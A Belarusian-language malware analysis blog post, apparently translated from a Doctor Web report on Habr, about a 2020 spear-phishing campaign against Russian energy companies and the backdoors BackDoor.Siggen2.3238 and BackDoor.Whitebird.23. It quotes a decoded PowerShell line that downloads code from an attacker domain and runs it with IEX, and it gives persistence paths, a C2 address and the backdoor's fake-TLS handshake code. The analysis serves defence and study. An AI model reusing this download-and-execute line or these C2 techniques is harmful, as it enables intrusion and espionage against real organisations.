Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

Наш досвед расследавання інцыдэнтаў у сферы кампутарнай бяспекі паказвае, што электронная пошта па-ранейшаму з'яўляецца адным з самых распаўсюджаных каналаў, якія выкарыстоўваюцца зламыснікамі для першаснага пранікнення ў атакаваныя сеткавыя інфраструктуры. Адно неабачлівае дзеянне з падазроным (ці не вельмі) лістом становіцца кропкай уваходу для наступнага заражэння, таму кіберзлачынцы актыўна ўжываюць метады социнженерии, хай і з пераменным поспехам.

У гэтым пасце мы жадаем распавесці аб нашым нядаўнім расследаванні спам-кампаніі, нацэленай на шэраг прадпрыемстваў паліўна-энергетычнага комплексу Расіі. Усе атакі адбываліся па адным сцэнары з выкарыстаннем падробленых электронных лістоў, пры гэтым над тэкставым зместам гэтых лістоў, здаецца, ніхто асабліва не стараўся.

разведка

Усё пачалося ў канцы красавіка 2020 года, калі вірусныя аналітыкі "Доктар Вэб" зафіксавалі спам-кампанію, падчас якой супрацоўнікам шэрагу прадпрыемстваў паліўна-энергетычнага комплексу Расіі хакеры рассылалі абноўлены тэлефонны даведнік. Зразумела, гэта не было простай праявай клопату, бо даведнік быў несапраўдны, а .docx-дакументы загружалі два выявы з выдаленых рэсурсаў.

Адно з іх загружалася на карыстацкі кампутар з сервера news[.]zannews[.]com. Характэрна, што даменнае імя падобнае да дамену антыкарупцыйнага медыяцэнтра Казахстана — zannews[.]kz. З іншага боку, які выкарыстоўваецца дамен адразу нагадаў аб іншай кампаніі 2015 года, вядомай як TOPNEWS, у якой выкарыстоўваўся бэкдор ICEFOG, а дамены кіравання траянамі мелі падрадок «news» у назвах. Іншай цікавай асаблівасцю стала тое, што пры адпраўцы лістоў розным адрасатам у запытах на загрузку выявы выкарыстоўваліся або розныя параметры запыту, або ж унікальныя імёны малюнкаў.

Мы лічым, што гэта было зроблена з мэтай збору інфармацыі для вызначэння "надзейнага" адрасата, які ў наступным у патрэбны момант гарантавана адкрые ліст. Для загрузкі выявы з другога сервера выкарыстоўваўся пратакол SMB, што магло быць зроблена для збору NetNTLM-хэшаў з кампутараў супрацоўнікаў, якія адкрылі атрыманы дакумент.

А вось і сам ліст з фэйкавым даведнікам:

Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

У чэрвені гэтага года хакеры пачалі выкарыстоўваць для загрузкі малюнкаў новае даменнае імя - sports[.]manhajnews[.]com. Як паказаў аналіз, субдамены manhajnews[.]com выкарыстоўваліся ў спам-рассылках як мінімум з верасня 2019 года. Адной з мэт у рамках гэтай кампаніі аказаўся буйны расійскі ўніверсітэт.

Таксама да чэрвеня арганізатары атакі прыдумалі новы тэкст для сваіх лістоў: на гэты раз дакумент утрымліваў інфармацыю аб галіновым развіцці. Тэкст ліста відавочна паказваў на тое, што яго аўтар альбо не з'яўляецца носьбітам рускай мовы, альбо наўмысна стварае аб сабе такое ўражанне. Нажаль, ідэі галіновага развіцця, як заўсёды, апынуліся толькі прычыненнем — дакумент ізноў загружаў дзве выявы, пры гэтым сервер быў зменены на download[.]inklingpaper[.]com.

Наступнае новаўвядзенне было ў ліпені. У якасці спробы абыйсці дэтэктаванне шкоднасных дакументаў антывіруснымі праграмамі зламыснікі сталі выкарыстоўваць дакументы Microsoft Word, зашыфраваныя пры дапамозе пароля. Адначасова з гэтым атакуючыя вырашылі прымяніць класічны прыём социнженерии - апавяшчэнне аб узнагародзе.

Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

Тэкст звароту зноў быў напісаны ў ранейшым стылі, чым выклікаў дадатковыя падазрэнні ў адрасата. Сервер для запампоўкі выявы таксама не мяняўся.

Адзначым, што ва ўсіх выпадках для рассылання лістоў выкарыстоўваліся электронныя паштовыя скрыні, зарэгістраваныя на даменах mail[.]ru і yandex[.]ru.

атака

Да пачатку верасня 2020 года надышоў час актыўных дзеянняў. Нашы вірусныя аналітыкі зафіксавалі новую хвалю нападаў, у якой зламыснікі зноў рассылалі лісты на падставе абнаўлення тэлефоннага даведніка. Аднак на гэты раз укладанне змяшчала шкоднасны макрас.

Пры адкрыцці прыкладзенага дакумента макрас ствараў два файлы:

  • VBS-скрыпт %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, які прызначаўся для запуску пакетнага файла;
  • сам пакетны файл %APPDATA%configstest.bat, які быў абфуцаваны.

Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

Сутнасць яго працы зводзіцца да запуску абалонкі Powershell з вызначанымі параметрамі. Параметры, якія перадаюцца абалонцы, дэкадуюцца ў каманды:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Як вынікае з прадстаўленых каманд, дамен, з якога загружаецца карысная нагрузка, ізноў замаскіраваны пад навінавы сайт. На заражаны кампутар дастаўляецца просты загрузнік, адзінай задачай якога з'яўляецца атрыманне шелл-кода ад кіраўніка сервера і яго выкананне. Нам удалося выявіць два віды бэкдораў, якія могуць быць устаноўлены на ПК ахвяры.

BackDoor.Siggen2.3238

Першы з іх - BackDoor.Siggen2.3238 - Раней не сустракаўся нашым спецыялістам, пры гэтым якія-небудзь згадкі гэтай праграмы іншымі антывіруснымі вендарамі таксама не знайшліся.

Гэтая праграма ўяўляе сабой бэкдор, напісаны на C++ і які працуе ў асяроддзі 32-бітных АС Windows.

BackDoor.Siggen2.3238 здольны падтрымліваць сувязь з кіруючым серверам па двух пратаколах: HTTP і HTTPS. У даследаваным узоры задзейнічаны пратакол HTTPS. У запытах да сервера выкарыстоўваецца наступны User-Agent:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

Пры гэтым усе запыты забяспечваюцца наступным наборам параметраў:

%s;type=%s;length=%s;realdata=%send

дзе кожны радок %s адпаведна замяняецца на:

  • ідэнтыфікатар заражанага кампутара,
  • тып які адпраўляецца запыту,
  • даўжыню дадзеных у поле realdata,
  • дадзеныя.

На стадыі збору інфармацыі аб інфікаванай сістэме бэкдор фармуе радок выгляду:

lan=%s;cmpname=%s;username=%s;version=%s;

дзе lan - IP-адрас заражанага кампутара, cmpname - імя кампутара, username - імя карыстальніка, version - радок 0.0.4.03.

Гэтая інфармацыя з ідэнтыфікатарам sysinfo праз POST-запыт адпраўляецца на кіравальны сервер, размешчаны па адрасе https[:]//31.214[.]157.14/log.txt. Калі ў адказ BackDoor.Siggen2.3238 атрымлівае сігнал HEART, злучэнне лічыцца паспяховым, і бэкдор прыступае да асноўнага цыклу зносін з серверам.

Больш поўнае апісанне прынцыпаў працы BackDoor.Siggen2.3238 знаходзіцца ў нашай віруснай бібліятэцы.

BackDoor.Whitebird.23

Другая праграма з'яўляецца мадыфікацыяй ужо вядомага нам па інцыдэнце з дзяржаўнай установай Казахстана бэкдора BackDoor.Whitebird. Гэтая версія напісана на мове З і прызначаная для працы як у 32-разрадных, так і ў 64-разрадных АС Windows.

Як і большасць праграм гэтага тыпу, BackDoor.Whitebird.23 прызначаны для ўсталёўкі зашыфраванага злучэння з кіравальным серверам і несанкцыянаванага кіравання заражаным кампутарам. У скампраметаваную сістэму ўсталёўваецца пры дапамозе дроппера BackDoor.Siggen2.3244.

Даследаваны намі ўзор уяўляў сабой шкоднасную бібліятэку з двума экспартамі:

  • GooglePlay,
  • Тэст.

У пачатку сваёй працы расшыфроўвае зашытую ў цела бэкдора канфігурацыю алгарытмам на аснове XOR-аперацыі з байтам 0x99. Канфігурацыя мае выгляд:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Для забеспячэння сваёй пастаяннай працы бэкдор мяняе значэнне, паказанае ў полі working_hours канфігурацыі. Поле ўтрымоўвае 1440 байтаў, якія прымаюць значэнні 0 ці 1 і ўяўляюць сабой кожную хвіліну кожнай гадзіны ў сутках. Стварае для кожнага сеткавага інтэрфейсу асобны струмень, які праслухоўвае інтэрфейс і шукае пакеты аўтарызацыі на проксі-серверы з заражанага кампутара. Пры выяўленні такога пакета бэкдор уносіць інфармацыю аб проксі-серверы ў свой спіс. Акрамя таго, правярае наяўнасць проксі праз WinAPI InternetQueryOptionW.

Праграма правярае бягучыя хвіліну і гадзіну і параўноўвае з дадзенымі, якія знаходзяцца ў полі working_hours канфігурацыі. Калі значэнне для адпаведнай хвіліны сутак не нулявое, тое ўсталёўвае злучэнне з кіравальным серверам.

Устаноўка злучэння з серверам імітуе стварэнне злучэння па пратаколе TLS версіі 1.0 паміж кліентам і серверам. У целе бэкдора змяшчаюцца два буферы.

Першы буфер утрымоўвае пакет Client Hello версіі TLS 1.0.

Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

Другі буфер утрымоўвае TLS 1.0 пакеты Client Key Exchange з даўжынёй ключа 0x100 байт, Change Cipher Spec, Encrypted Handshake Message.

Расследуем мэтавую шпіёнскую атаку на расійскі ПЭК

Пры адпраўцы пакета Client Hello бэкдор запісвае ў поле Client Random 4 байта бягучага часу і 28 байт псеўдавыпадковых дадзеных, якія вылічаюцца наступным чынам:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Атрыманы пакет адпраўляецца на кіравальны сервер. У адказе (пакет Server Hello) правяраюцца:

  • адпаведнасць пратаколу TLS версіі 1.0;
  • адпаведнасць часавай пазнакі (першыя 4 байта поля пакета Random Data), паказанай кліентам, часавай пазнацы, паказанай серверам;
  • супадзенне першых 4 байтаў пасля часавай пазнакі ў поле Random Data у кліента і сервера.

У выпадку паказаных адпаведнікаў бэкдор рыхтуе пакет Client Key Exchange. Для гэтага ён мадыфікуе Public Key у пакеце Client Key Exchange, а таксама Encryption IV і Encryption Data у пакеце Encrypted Handshake Message.

Затым бэкдор прымае пакет ад кіраўніка сервера, правярае, што версія пратаколу TLS адпавядае 1.0, пасля чаго прымае яшчэ 54 байта (цела пакета). На гэтым усталёўка злучэння завяршаецца.

Больш поўнае апісанне прынцыпаў працы BackDoor.Whitebird.23 знаходзіцца ў нашай віруснай бібліятэцы.

Заключэнне і высновы

Аналіз дакументаў, шкоднасных праграм, а таксама выкарыстанай інфраструктуры дазваляе нам з упэўненасцю сказаць, што напад быў падрыхтаваны адной з кітайскіх APT-груп. Улічваючы функцыянальнасць бэкдораў, якія ўсталёўваюцца на кампутары ахвяр у выпадку паспяховага нападу, заражэнне вядзе як мінімум да крадзяжу канфідэнцыйнай інфармацыі з кампутараў атакаваных арганізацый.

Акрамя таго, вельмі верагодным сцэнарам з'яўляецца ўстаноўка спецыялізаваных траянаў на лакальныя серверы з асаблівай функцыяй. Гэта могуць быць кантролеры дамена, паштовыя серверы, інтэрнэт-шлюзы і т. п. Як мы маглі назіраць на прыкладзе інцыдэнту ў Казахстане, такія серверы па розных прычынах ўяўляюць асаблівую цікавасць для зламыснікаў.

Крыніца: habr.com

Дадаць каментар